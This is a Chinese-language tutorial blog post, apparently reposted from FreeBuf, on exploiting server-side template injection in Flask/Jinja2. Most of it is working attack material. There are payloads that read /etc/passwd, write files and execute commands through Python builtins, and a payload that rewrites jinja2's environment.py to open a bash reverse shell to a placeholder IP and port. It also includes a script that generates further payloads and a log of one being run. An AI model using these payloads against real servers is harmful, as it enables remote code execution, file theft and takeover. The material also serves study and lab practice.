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Flask jinja2模板注入思路总结

2018-02-26 16:50 579 查看

前言

虽然这个漏洞已经出现很久了，不过偶尔还是能够看到。翻了翻freebuf上好像只有python2的一些payload，方法也不是很全。我找来找去也走了些弯路，小白们可以参考一下。如果有什么错误，欢迎各位指正。

漏洞简介

漏洞原理可以参考
http://www.freebuf.com/articles/web/98619.html
http://www.freebuf.com/articles/web/98928.html
常见payload
ssti可以用于xss，不过这里不具体介绍；前面两篇文章给出了几个比较常用的getshell的payload; 我会总结并补充一些。
python2:

#注入变量执行命令详见 http://www.freebuf.com/articles/web/98928.html #读文件：
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
#写文件：
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

也可以通过写jinja2的environment.py执行命令; jinja2的模板会load这个module，而且这个environment.py import了os模块, 所以只要能写这个文件，就可以执行任意命令:

#假设在/usr/lib/python2.7/dist-packages/jinja2/environment.py, 弹一个shell
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/usr/lib/python2.7/dist-packages/jinja2/environment.py').write("\nos.system('bash -i >& /dev/tcp/[IP_ADDR]/[PORT] 0>&1')") }}

python3:

#命令执行：
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

Go Deeper

环境
这里给出的是vulhub的flask ssti漏洞环境方便复现

#python3
#Flask version:0.12.2
#Jinja2: 2.10
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run();

__globals__
其实这些payload的思路大概都是一样的，从python的内置变量出发，通过调用各类型的一些隐藏属性（方法），从而得到我们需要的函数。
其中有一个属性 globals 很有意思，文档里这样解释：

__globals__:
A reference to the dictionary that holds the function’s global variables —
the global namespace of the module in which the function was defined.
[Read-only]

也就是说所有的函数都会有一个__globals__属性,它会以一个dict，返回函数所在模块命名空间中的所有变量。举个例子：

outFuncVar = 2
def func():
inFuncVar = 1
pass
print(func)
print(func.__globals__)
import os
print(func.__globals__)

这段代码输出

<function func at 0x000001A0B8777F28>
{'outFuncVar': 2, , '__builtins__': <module 'builtins' (built-in)>}
{'outFuncVar': 2, , 'os': <module 'os' from 'F:\\Python\\lib\\os.py'>, '__builtins__': <module 'builtins' (built-in)>}

可以看到__globals__中会包括引入了的modules；同时每个python脚本都会自动加载 builtins 这个模块，而且这个模块包括了很多强大的built-in 函数，例如eval, exec, open等等。

>>> def test():
pass
>>> test.__globals__['__builtins__']
<module 'builtins' (built-in)>
>>> test.__globals__['__builtins__'].eval
<built-in function eval>
>>> test.__globals__['__builtins__'].exec
<built-in function exec>
>>> test.__globals__['__builtins__'].open
<built-in function open>

所以要从内置变量出发找到一个可以达成payload的函数（eval, exec..），只需要随便从一个内置变量调用隐藏属性，找到任意一个函数，然后查看它的__globals__['__builtins __']就可以了，而这个是非常容易的。
start to find a payload
我们都知道python的类有被称为Special method names的方法，这些方法会在特定的时候被调用。而开发者可以通过重载这些函数实现各种简洁又强大的功能。例如class.__init __ 会在一个实例被new()创建的时候自动调用，从而起到构造函数的作用。
而我们的目标只是找到任意一个函数，所以我们只需要去找这些函数就可以了，比如说从字符串开始

#python3
#__class__返回调用的参数类型
#__base__返回基类
#__mro__寻找基类时参考类
#__sublclasses__()返回子类
#获得 object 类的子类
>>> ''.__class__.__base__.__subclasses__()
[<class 'str_iterator'>, <class 'mappingproxy'>, <class 'idlelib.AutoComplete.AutoComplete'>, <class 'pydoc.ModuleScanner'>, <class 'contextlib.ContextDecorator'>, <class 'textwrap.TextWrapper'>, <class 'socketserver.ThreadingMixIn'>, <class '_tkinter.tktimertoken'>, ...]
#从中随便选一个类,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>
# wrapper是指这些函数并没有被重载，这时他们并不是function，不具有__globals__属性
>>> ''.__class__.__base__.__subclasses__()[30].__init__.__globals__
Traceback (most recent call last):
File "<pyshell#8>", line 1, in <module>
''.__class__.__base__.__subclasses__()[30].__init__.__globals__
AttributeError: 'wrapper_descriptor' object has no attribute '__globals__'
#再换几个子类，很快就能找到一个重载过__init__的类，比如
>>> ''.__class__.__base__.__subclasses__()[5].__init__
<function TarFile.__init__ at 0x0000019D685A8158>
>>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
<built-in function eval>
#然后用eval执行命令即可

其中寻找function的过程可以用一个小脚本解决, 脚本找到被重载过的function，然后组成payload

#!/usr/bin/python3
# coding=utf-8
# python 3.5
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
for attr in searchList:
if hasattr(i, attr):
if eval('str(i.'+attr+')[1:9]') == 'function':
for goal in neededFunction:
if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
if pay != 1:
print(i.__name__,":", attr, goal)
else:
print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")

output

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_Unframer' %}{{ c.__init__.__globals__['__builtins__'].exec("[evil]") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval("[evil]") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].open("[evil]") }}{% endif %}{% endfor %}
...

随便选一个payload填上命令

#Client request http://127.0.0.1:5000/?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval("print('hello shell')") }}{% endif %}{% endfor %}
#server terminal
#成功打印出 hello shell, 说明成功执行
hello shell
127.0.0.1 - - [10/Feb/2018 02:41:48] "GET /?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__==%27ImmutableDictMixin%27%20%}{{%20c.__hash__.__globals__[%27__builtins__%27].eval(%22print(%27hello%20shell%27)%22)%20}}{%%20endif%20%}{%%20endfor%20%} HTTP/1.1" 200 -

当然这种方法不仅仅适合python3, python2也可以用这个方法,上面那个payload就是两个版本都可以使用的。

总结

利用flask的ssti漏洞，可以通过python的内置变量得到功能强大的built-in functions, 从而执行各种命令。而python函数自带的__globals__属性使得寻找built-in functions的过程变得更加简单，不受版本约束。
* 本文作者：请叫我飞翔的翔，转载注明来自FreeBuf.com